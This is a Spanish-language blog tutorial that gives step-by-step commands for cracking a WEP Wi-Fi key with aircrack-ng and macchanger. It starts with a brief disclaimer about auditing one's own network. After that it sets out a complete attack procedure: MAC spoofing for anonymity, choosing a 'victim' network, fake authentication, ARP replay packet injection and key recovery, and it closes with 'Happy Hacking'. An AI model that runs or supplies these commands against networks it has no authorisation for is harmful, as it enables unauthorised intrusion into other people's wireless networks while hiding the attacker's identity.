A continuación se presenta el método para descifrar redes con el algoritmo de seguridad WEP, el contenido de este artículo es informativo y sólo se recomienda el uso para auditar una red personal. Es importante destacar que el empleo de este método es ilegal en algunos países.

Equipo: Acer Aspire One
Tarjeta de red: Atheros AR5001
Sistema Operativo: Ubuntu 10.04
Programa utilizado: aircrack-ng, macchanger

La tarjeta de esa computadora viene desbloqueada por defecto, así que no es necesario parchar la tarjeta.

Aircrack-ng esta incluido en los repositorios de Ubuntu, así que es posible instalarlo via Synaptic o bien sudo apt-get install aircrack-ng.

Es importante desconectar la computadora de cualquier red, es decir: la computadora no puede estar conectada a una red mientras se realiza el ataque.

1. El primer paso sera prender la suit de aircrack-ng esto se realiza con el comando: sudo airmon-ng start wlan0

2. Una vez activado, procederemos a anonimizar la dirección MAC, con el objetivo de realizar esto de manera segura. Para cambiar la dirección MAC tenemos que instalar el programa macchanger , el cual se encuentra en los repositorios de ubuntu.

Para cambiar la dirección MAC es necesario desactivar la interfaz, es necesario fijarnos la interfaz donde se activo el modo monitor. La predefinida en mon0, sin embargo puede cambiar a mon1, etc. Así que es necesario revisar la información desplegada en el comando anterior.

3. Como se puede apreciar, una vez que tenemos el nombre de la interfaz procedemos a desactivarla con el comando sudo ifconfig mon0 down (donde mon0 se debe remplazar en caso de tener otro nombre de interfaz)

4. Después utilizamos el comando sudo macchanger -m 00:11:22:33:44:55 para enmascarar la dirección MAC. Finalmente activamos la interfaz con sudo ifconfig mon0 up

5. Una vez que hemos terminado ese proceso, escaneamos las redes disponibles con el comando sudo airodump-ng mon0 , debe aparecer una imagen como la siguiente:

6. Elegiremos nuestra victima (en mi caso es mi propia red), copiamos el BSSID y el canal (el numero en la columna CH) En este caso el canal es el 4 .

7. Procedemos a monitorear la red especifica sudo airodump-ng -c 4 -w prueba –bssid 00:00:00:00:00:00 mon0

El 00:00:00:00:00:00 debe ser remplazado por el BSSID de la victima 😀

En la sección “-c ” debemos escribir el numero del canal, en mi caso es 4, en “-w ” escribimos un nombre cualquiera que después utilizaremos, en mi caso utilizo el nombre “prueba”.

8. El siguiente paso es habilitar la conexión: sudo aireplay-ng -1 0 -a 00:00:00:00:00:00 -h 00:11:22:33:44:55 mon0

9. Una vez que ha terminado de ejecutarse el comando (debemos esperar a que termine) escribimos sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h 00:11:22:33:44:55 mon0

10. Tenemos que esperar a que se envíen paquetes (donde dice sent). Es importante que la red este siendo usada por alguna persona, si la red esta inactiva es poco probable que logremos enviar paquetes.

Debemos enviar de entre 250,000 paquetes hasta 1,500,000 para poder decriptar la clave.

11.Después procedemos a escribir sudo aircrack-ng -b 00:00:00:00:00:00 prueba-01.cap

El nombre “prueba” debe ser sustituido por el nombre del archivo que fue creado en el paso 7. (se debe dejar el “-01.cap”)

Esto abrira aircrack, el cual probara las claves y la desplegara en caso de encontrarla. De lo contrario mostrara: “Failed”. Así que tendremos que esperar a capturar más paquetes para repetir el paso 11.

Happy Hacking 😀
P3lUZa